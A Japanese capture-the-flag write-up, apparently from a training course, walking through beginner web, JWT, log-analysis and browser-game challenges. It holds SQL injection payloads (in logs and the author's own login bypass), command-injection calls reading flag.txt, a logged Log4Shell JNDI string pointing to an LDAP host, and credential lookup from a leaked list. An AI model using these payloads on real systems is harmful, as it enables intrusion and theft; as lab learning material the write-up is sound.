XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid-1 AND (SELECT 6810 FROM (SELECT COUNT(*), CONCAT (0x7171787671, (SELECT (ELT (6810=6810,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT 7505 FROM(SELECT COUNT(*),CONCAT(0x7171787671,(SELECT (ELT (7505=7505,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:13 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=(SELECT CONCAT(0x7171787671,(SELECT (ELT (1399=1399, 1))),0x71707a7871)) HTTP/1.1" 200 166 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; rus rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"
XXX.XXX.XXX.XXX- - [19/Apr/2024:05:22:27 0100] "GET /wordpress/wp-content.plugins/custom_plugin/check_user.php?userid=1 UNION ALL SELECT CONCAT(0x7171787671,0x537653544175467a724f,0x71707a7871),NULL,NULL-- HTTP/1.1" 200 182 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.11 ru rv:1.9.2.3) Gecko/20100401 Firefox 4.0 (.NET CLR 3.5.30729)"

SQLインジェクションを使っている。
SQLインジェクションのCWEを調べる。

CWE-89がSQLインジェクションらしい...

CWEについてはIPAのこのサイトが参考になった。

flag{CWE-89}

気味の悪い拡張子 - 100pt

image.png

なんも浮かばないのでヒントを見てみる。

トークン とは、ユーザーの認証情報を表す文字列です。 JWT は、その一種で、JSON Web Tokenの略称です。RFC 7519 にて、その規格が定義されています。 jwt.io のサイトでは、与えられたトークンを3つの構成要素(ヘッダー、ペイロード、署名)に分解し、それぞれの内容を表示させることが可能です。

とりあえずjwt.ioを使ってみる。

image-1.png

flag発見!

flag{fridaythe13th}

【Attack 1】 認証情報 - 100pt

image.png

アクセスして、管理者ログインページに移動。
image.png
適当にSQLインジェクションを試すも失敗。
添付されているtxtファイルを見ると、メールアドレスとパスワードらしきものが羅列されている。
メールアドレスが分かればパスワードが分かりそう。
管理者ページの前のメインページを探索すると、お問い合わせ用のメールアドレスを発見!!!

$ grep gray.bear.banana@example.com list.txt 
gray.bear.banana@example.com:B0M}@pH'#L

ヒット!!!
入力するとflagが得られる。

flag{credent1al_5taff}

【Attack 2】防御の回避 - 100pt

image.png

アクセスすると、ログインページが表示される。
ページのソースを調べるが、特に何もないためSQLインジェクションの問題と推察。
image.png

' or 1=1 #で試すと、使えない文字列が含まれていますと表示される。
色々試すと、=がブロックされていることが分かった。
' or true #でflagゲット。

flag{sq1_injec7ion}

【Attack 3】計算機 - 100pt

image.png

アクセスすると、入力した式を計算してくれるPHPページが開く。
image.png
ページのソースコードを探索。

コメント発見!

<!-- TODO:計算機能以外にコマンドが使えるのを修正 例)exec("コマンド") -->

コマンドが使えるみたい。脆弱...

exec("ls")
flag.txt fruits.txt

exec("cat flag.txt")
flag{os_command}

flag{os_command}

【Defense 1】ログ分析 - 100pt

image.png
ログ解析の問題。
アクセスされたということは200GETがヒットしそうなのでgrepする。

grep GET access.log 
172.16.10.1 - - [09/Jul/2024:03:20:35 -0700] "GET /thereIsNoWayThat-You-CanBeThere. HTTP/1.1" 404 449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:35 -0700] "GET /icons/ HTTP/1.1" 403 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:50 -0700] "GET /about_us/ HTTP/1.1" 200 406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
172.16.10.1 - - [09/Jul/2024:03:20:51 -0700] "GET /icons/ HTTP/1.1" 403 452 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"

about_us/がヒット。
アクセスするとflagゲット。

flag{f0rced_br0w5ing}

【Defense 2】ログ分析2 - 100pt

image.png

とりあえず、中身を見てみる

modsec_audit.log
--6049b525-A--
[08/Jul/2024:02:44:23 --0700] Zou09@3Nx7xessHOJp2AawAAAEA 172.16.10.1 39846 172.16.10.100 80
--6049b525-B--
GET /service/login.html/ HTTP/1.1
Host: 172.16.10.100
Accept: */*
User-Agent: ${jndi:ldap://172.16.10.10:8080/explot}

--6049b525-H--
Message: Warning. Pattern match "(?:^([\\d.]+|\\[[\\da-f:]+\\]|[\\da-f:]+)(:[\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "789"] [id "920350"] [msg "Host header is a numeric IP address"] [data "172.16.10.100"] [severity "WARNING"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. Pattern match "(?i)(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "228"] [id "944150"] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [severity "CRITICAL"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"]
Message: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [ver "OWASP_CRS/4.4.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"]
Message: Warning. Unconditional match in SecAction. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=8-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=5, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)"] [ver "OWASP_CRS/4.4.0"] [tag "reporting"] [tag "OWASP_CRS"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Pattern match "(?:^([\\\\\\\\d.]+|\\\\\\\\[[\\\\\\\\da-f:]+\\\\\\\\]|[\\\\\\\\da-f:]+)(:[\\\\\\\\d]+)?$)" at REQUEST_HEADERS:Host. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "789"] [id "920350"] [msg "Host header is a numeric IP address"] [data "172.16.10.100"] [severity "WARNING"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Pattern match "(?i)(?:\\\\\\\\$|&dollar;?)(?:\\\\\\\\{|&l(?:brace|cub);?)(?:[^\\\\\\\\}]{0,15}(?:\\\\\\\\$|&dollar;?)(?:\\\\\\\\{|&l(?:brace|cub);?)|jndi|ctx)" at REQUEST_HEADERS:User-Agent. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "228"] [id "944150"] [msg "Potential Remote Command Execution: Log4j / Log4shell"] [severity "CRITICAL"] [ver "OWASP_CRS/4.4.0"] [tag "application-multi"] [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Operator GE matched 5 at TX:blocking_inbound_anomaly_score. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "233"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [ver "OWASP_CRS/4.4.0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client 172.16.10.1] ModSecurity: Warning. Unconditional match in SecAction. [file "/etc/apache2/modsecurity-crs/coreruleset-4.4.0/rules/RESPONSE-980-CORRELATION.conf"] [line "98"] [id "980170"] [msg "Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=8-0-0-0, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=0, XSS=0, RFI=0, LFI=0, RCE=5, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)"] [ver "OWASP_CRS/4.4.0"] [tag "reporting"] [tag "OWASP_CRS"] [hostname "172.16.10.100"] [uri "/service/login.html/"] [unique_id "Zou09@3Nx7xessHOJp2AawAAAEA"]
Stopwatch: 1720431863277775 3254 (- - -)
Stopwatch2: 1720431863277775 3254; combined=2349, p1=1023, p2=684, p3=86, p4=397, p5=159, sr=0, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/); OWASP_CRS/4.4.0.
Server: Apache/2.4.41 (Ubuntu)
Engine-Mode: "DETECTION_ONLY"

--6049b525-Z--

う~ん...分からん。
chatgpt様に聞いてみる。
${jndi:ldap://172.16.10.10:8080/exploit}よりCVE-2021-44228がヒット
RCEできるやつらしい。

CVE-2021-44228

Python

Pythonスクリプトをオンライン実行環境で動作させる。 - 100pt

image.png

これはオンラインで動かさずとも、コード見ればいい。

flag{online_judge}

Web-Extra

White Page 1

image.png

ページのソースを見てみる。

image-1.png

めちゃくちゃ普通にflagある!

flag{white_text_in_white_page}

White Page 2

image.png

ソースには特に問題なかったので、コンソールとかいろいろ見る。
コンソールにflagがあった!!!

image-1.png

flag{console_is_console}

White Page 3

image.png

ページソースを見てみる。

image-1.png

怪しめのimgがあるので開いてみる。

image-2.png

flagゲット!

flag{display_none_image_can_be_found}

White Page 4

image.png

同様にページソースを見てみる。

image-1.png

titleタグにflagがあった!
これはEasy~

flag{dynamic_title!}

White Page 5 - 100pt

image.png

これもページソースを見てみる。

image-1.png

特になにも見つからんかったので、ヒントを見てみる。

変な通信が行われている…?

ヒントからとりあえずburpsuiteで解析してみる

image-2.png

jsonにflagがあった!

flag{response_is_visible}

White Page 6 - 100pt

image.png

最初からburpsuiteで解析してみる。

特になにもないので、ページソースを見ると...

<p color="#ffffff" class="sc-iBkjds hhtSHX">a</p>

上の p タグの文字が変わっていっている!
手動で入力してもいいが、見逃しそうなので自動化する
変化を追跡するコードを記憶から引っ張りだして書くも動作せず...
しかたないので、chagpt様にコードを吐かせた

コンソールタブで

let target = document.querySelector('.sc-iBkjds.hhtSHX');

new MutationObserver((mutations) => {
    mutations.forEach(mutation => {
        console.log("変化検出:", mutation.target.textContent);
    });
}).observe(target, { childList: true, subtree: true, characterData: true });

を実行して追跡

VM47:5 変化検出: a
VM47:5 変化検出: g
VM47:5 変化検出: {
VM47:5 変化検出: i
VM47:5 変化検出: _
VM47:5 変化検出: c
VM47:5 変化検出: a
VM47:5 変化検出: n
VM47:5 変化検出: _
VM47:5 変化検出: c
VM47:5 変化検出: o
VM47:5 変化検出: n
VM47:5 変化検出: t
VM47:5 変化検出: r
VM47:5 変化検出: o
VM47:5 変化検出: l
VM47:5 変化検出: _
VM47:5 変化検出: t
VM47:5 変化検出: i
VM47:5 変化検出: m
VM47:5 変化検出: i
VM47:5 変化検出: n
VM47:5 変化検出: g
VM47:5 変化検出: }

見切れちゃったけど、flagが分かった

flag{i_can_control_timing}

FLAG QUEST1 - 100pt

image.png

アクセスすると、メニュー画面が表示される。
image.png

もんだい1にアクセス
image.png

とりあえず、戦う前にずかんに行ってみる。
image.png
スライムとまおうの情報が見れる。
モンスターはIDで管理されているみたい。

戦いに行く。
image.png
普通に戦っても、負けてしまう。
URLに着目すると、http://jnsa-spr-prod.cfctf.mydns.jp:50000/probrem-1?monsterId=2となっていることが分かる
スライムのidが1だったので、http://jnsa-spr-prod.cfctf.mydns.jp:50000/probrem-1?monsterId=1としてアクセス
敵がスライムに変わった!一撃で倒して、flagゲット。

ちなみに倒した後に、命乞いされる。
image.png

見逃さずにflagゲット。
flag{slime_i5_totem0_kawa1so0o}

FLAG QUEST2 - 100pt

image.png
アクセスする。
UIはFLAG QUEST 1と変わらない。
普通に戦うと、負けて神父からアドバイスを貰える。

image.png

難しすぎる...じゃあ簡単にしたい!
ページのソースコードをよく読んでみる。

<div class="main-area">
      <div class="logo-area">
        <img src="/public/image/Flag_Quest_Logo.png">
      </div>
      <div class="msg-area">
        <p></p>
      </div>
      <input form="startForm" type="hidden" name="hardmode" value="on">  
      <form id="startForm" action="/probrem-2/start" method="POST">
        <div class="name-area">
          <p class="name-label">ゆうしゃのなまえ(4もじいない)</p>
          <input type="text" maxlength="4" name="yushaName" class="name-input">
        </div>
        <div class="menu-area">
           
          <div class="menu-item"><button type="submmit" class="menu-item">たたかう</button></div>
            
          <div class="menu-item"><div id="open-library" class="menu-item">ずかん</div></div>
             
        </div>
      </form>
    </div>

<input form="startForm" type="hidden" name="hardmode" value="on"> で難易度を制御しているみたい。
value="off"にして戦うと、簡単になりflagゲット。

flag{thi5_is_easyyyy_m0de!!}

FLAG QUEST3 - 100pt

image.png
同様にアクセスして、戦って負けて神父にアドバイスを求めようとする。
しかし、戦いの冒頭で魔王が何やら怪しい一言を言ってきた。
image.png

二回目の挑戦を挑むと、2回目と言ってきた。
しかも回数とMPが一致している!!!

調べるとCookieで制御していた。
image.png
挑戦回数とMPが関係しているということはおそらくMPを使って倒すのだろう...
とりあえず、Cookieを1000に書き換えて挑戦。
じゅもんを見てみると、いかにもなやつがあるのでそれで魔王を倒してflagゲット!!!

flag{u_need_mp_f0r_spe1l}

FLAG QUEST4 - 100pt

image.png
同様にアクセスしてみると、今回はどうぐやが新しく実装されている。
image.png
必要そうなので、購入ボタンを押すと...
image.png
ひかりのたま?をゲット。
そのまま、戦いに行き使用すると即死してしまう。
おかしいと思い、ページのソースを見てみる。

<div class="shop-item-detail">            
    <div id="detail-2" style="display: block;">
        <img class="shop-item-pic mCS_img_loaded" src="/public/image/ball.png" style="display: inline;">
        <div class="shop-item-info" style="display: block;">
            <p style="display: block;">なまえ:ひかりのたま</p>
            <p style="display: block;">せつめい:つかうと せいなる ひかりが てきの こうげきを ふせいでくれる</p>
        </div>
        <div class="purchase-button-area" style="display: block;">
            <button class="purchase-button" id="purchase-2" style="display: inline-block;">
                こうにゅう
            </button>
              
            <button class="click-jack" id="purchase-3" style="display: inline-block;">
              
            </button>
        </div>
    </div>
</div>

クリックジャッキングになっている。
クリックジャッキングのボタンを非表示にして購入すると、ひかりのたまを購入できた!!!

そのまま、戦いに行き魔王に勝ってflagゲット。

flag{us1ng_c0rrect_item_15_very_imp0rtant}

FLAG QUEST5 - 100pt

image.png

今回から新たに、さかばが実装されている。
種族は人間固定(inputタグがreadonly)になっているが、職業は選べる。
image.png
3人まで仲間にできる。
適当に選んで魔王に挑むと1ターン目で一番HPが低い仲間が攻撃され、開始2ターンで人間には絶対に壊せないバリアを展開され、一方的に敗れる。
人間以外の仲間が必要だ!!!
FLAG QUEST 1 で倒したスライムを仲間にしたい...
もう一度スライムを倒しに行き、命乞いを受け入れ恩を売っておく。
さかばに行き、inputタグのreadonlyをはずしてしゅぞくを選択できるようにする。
スライムを仲間にできた!!!

image.png

1ターン目は一番HPが低い仲間が攻撃されてしまうので、1ターン目用によわよわスライムよりもHPが低いにとたろうを仲間にする。
image.png

あと一人は適当に選んで、戦いに行く。
一ターン目でにとたろうが死んでしまう。
二ターン目で魔王にバリアを展開されるが、スライムがはがしてくれる。
あとは普通に倒してflagゲット。(にとたろう可哀想...)

flag{u_are_true_her0!!!!}

終わりに

今までpicoCTFとかに参加していたが、具体的なツール等をあまり知らなかったので、今回の講習で知ることができたので良かった。
特にNetwork系の問題に苦手意識があったが、今回ので軽減され、wiresharkの偉大さを感じた。
まだSECCONは参加したことがないので、今年は参加しようと思った。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?